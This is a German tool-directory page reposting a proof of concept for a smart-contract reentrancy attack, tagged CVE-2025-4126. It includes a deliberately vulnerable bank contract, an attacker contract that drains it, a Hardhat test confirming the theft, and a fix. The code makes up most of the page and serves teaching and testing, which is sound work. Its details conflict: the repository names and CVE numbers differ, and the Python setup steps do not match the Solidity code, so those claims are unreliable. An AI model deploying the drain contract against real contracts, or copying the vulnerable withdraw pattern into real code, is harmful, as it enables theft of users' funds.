Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-4126 — POC für Smart Contract Reentrancy-Angriff-Schwachstelle | Kitploit
Tools/GitHubGitHub/slow-mist/cve-2025-4126
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungLabs & Praxis
GitHubslow-mist/cve-2025-4126

CVE-2025-4126

POC für Smart Contract Reentrancy-Angriff-Schwachstelle

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

POC-CVE-2025-4126

Smart Contract Reentrancy-Angriff-Schwachstelle Verifikation

Proof of Concept für Smart Contract Reentrancy-Angriff

Dieses Repository enthält einen Proof of Concept (PoC), der eine Reentrancy-Angriff-Schwachstelle in Ethereum-Smart-Contracts demonstriert. Der PoC umfasst einen angreifbaren Smart Contract, einen Angreifer-Contract und Anweisungen zur Reproduktion des Angriffs in einer lokalen Testumgebung.

Inhaltsverzeichnis

  • Überblick
  • Schwachstellenbeschreibung
  • PoC-Einrichtung
  • Ausführen des PoC
  • Lizenz

Überblick

Reentrancy ist eine häufige Schwachstelle in Ethereum-Smart-Contracts, bei der ein externer Contract wiederholte Aufrufe an den ursprünglichen Contract durchführen kann, bevor der erste Aufruf abgeschlossen ist. Dies kann zum Abziehen von Geldern oder zur Manipulation des Zustands führen. Dieser PoC zeigt, wie ein Angreifer einen angreifbaren Contract ausnutzen kann, um Ether zu stehlen.

Schwachstellenbeschreibung

Der angreifbare Contract (VulnerableBank) ermöglicht es Benutzern, Ether einzuzahlen und abzuheben. Allerdings aktualisiert er den Zustand nicht ordnungsgemäß, bevor er externe Aufrufe tätigt, was ihn anfällig für Reentrancy macht. Der Angreifer-Contract (Attacker) nutzt dies aus, indem er rekursiv die withdraw-Funktion aufruft, um den Ether-Bestand des Contracts zu leeren.

Hauptproblem

  • Die withdraw-Funktion in VulnerableBank sendet Ether an den Aufrufer, bevor der Kontostand aktualisiert wird.
  • Dies erlaubt es dem Angreifer-Contract, in seiner Fallback-Funktion erneut withdraw aufzurufen und so die Gelder des Contracts abzuziehen.

PoC-Einrichtung

Um diesen PoC auszuführen, benötigen Sie:

  • python3.x
  • pip3

Installation und Ausführung

  1. Klonen Sie dieses Repository:
    root@kitploit:~
    git clone https://github.com/Layer1-Artist/POC-CVE-2025-48621.git
    cd POC-CVE-2025-48621
    
  2. Führen Sie aus:
    root@kitploit:~
    python3 poc.py
    

PoC-Code

Nachfolgend sind die beiden Contracts aufgeführt, die in diesem PoC verwendet werden:

VulnerableBank.sol

Dieser Contract simuliert eine einfache Bank, die Ein- und Auszahlungen erlaubt, aber anfällig für Reentrancy ist.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Vulnerable: External call before state update
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update after external call
        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Attacker.sol

Dieser Contract nutzt die Reentrancy-Schwachstelle aus, indem er rekursiv die withdraw-Funktion aufruft.

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker {
    VulnerableBank public vulnerableBank;
    uint256 public constant WITHDRAW_AMOUNT = 1 ether;

    constructor(address _vulnerableBankAddress) {
        vulnerableBank = VulnerableBank(_vulnerableBankAddress);
    }

    // Initiate the attack
    function attack() external payable {
        require(msg.value >= WITHDRAW_AMOUNT, "Need at least 1 Ether to attack");
        vulnerableBank.deposit{value: WITHDRAW_AMOUNT}();
        vulnerableBank.withdraw();
    }

    // Fallback function to recursively call withdraw
    receive() external payable {
        if (address(vulnerableBank).balance >= WITHDRAW_AMOUNT) {
            vulnerableBank.withdraw();
        }
    }

    // Withdraw stolen Ether to attacker's address
    function withdrawFunds() external {
        payable(msg.sender).transfer(address(this).balance);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Hardhat-Testskript

Ein Hardhat-Testskript ist enthalten, um die Angriffssimulation zu automatisieren.

root@kitploit:~
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Reentrancy Attack PoC", function () {
  let vulnerableBank, attacker, owner, attackerAddr;

  beforeEach(async function () {
    // Deploy VulnerableBank
    const VulnerableBank = await ethers.getContractFactory("VulnerableBank");
    vulnerableBank = await VulnerableBank.deploy();
    await vulnerableBank.deployed();

    // Deploy Attacker
    const Attacker = await ethers.getContractFactory("Attacker");
    [owner, attackerAddr] = await ethers.getSigners();
    attacker = await Attacker.deploy(vulnerableBank.address);
    await attacker.deployed();

    // Fund VulnerableBank with 10 Ether
    await owner.sendTransaction({
      to: vulnerableBank.address,
      value: ethers.utils.parseEther("10"),
    });
  });

  it("should drain VulnerableBank via reentrancy", async function () {
    // Initial balances
    const initialBankBalance = await vulnerableBank.getBalance();
    console.log(`Initial Bank Balance: ${ethers.utils.formatEther(initialBankBalance)} ETH`);

    // Execute attack with 1 Ether
    await attacker.connect(attackerAddr).attack({ value: ethers.utils.parseEther("1") });

    // Check final balances
    const finalBankBalance = await vulnerableBank.getBalance();
    const attackerBalance = await attacker.getBalance();
    console.log(`Final Bank Balance: ${ethers.utils.formatEther(finalBankBalance)} ETH`);
    console.log(`Attacker Balance: ${ethers.utils.formatEther(attackerBalance)} ETH`);

    expect(finalBankBalance).to.equal(0, "Bank should be drained");
    expect(attackerBalance).to.be.above(0, "Attacker should have stolen funds");
  });
});

Erwartete Ausgabe

  • Startguthaben der Bank: 10 ETH
  • Endguthaben der Bank: 0 ETH
  • Guthaben des Angreifers: ~10 ETH (abzüglich Gasgebühren)

Abhilfe

Um Reentrancy-Angriffe zu verhindern, sollten Sie die folgenden Best Practices beachten:

  1. Checks-Effects-Interactions-Muster: Aktualisieren Sie den Zustand (z. B. Kontostände) vor externen Aufrufen.
  2. Reentrancy Guard: Verwenden Sie einen Modifikator (z. B. OpenZeppelins ReentrancyGuard), um rekursive Aufrufe zu verhindern.
  3. Gas begrenzen: Beschränken Sie das an externe Aufrufe weitergeleitete Gas, um komplexe Reentrancy-Logik zu erschweren.
  4. transfer oder send verwenden: Diese Methoden begrenzen das Gas und verringern so das Risiko von Reentrancy.

Beispielhafte Korrektur für VulnerableBank.sol

root@kitploit:~
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance to withdraw");

        // Update state first
        balances[msg.sender] = 0;

        // Then make external call
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die LICENSE-Datei für Details.

Tool herunterladen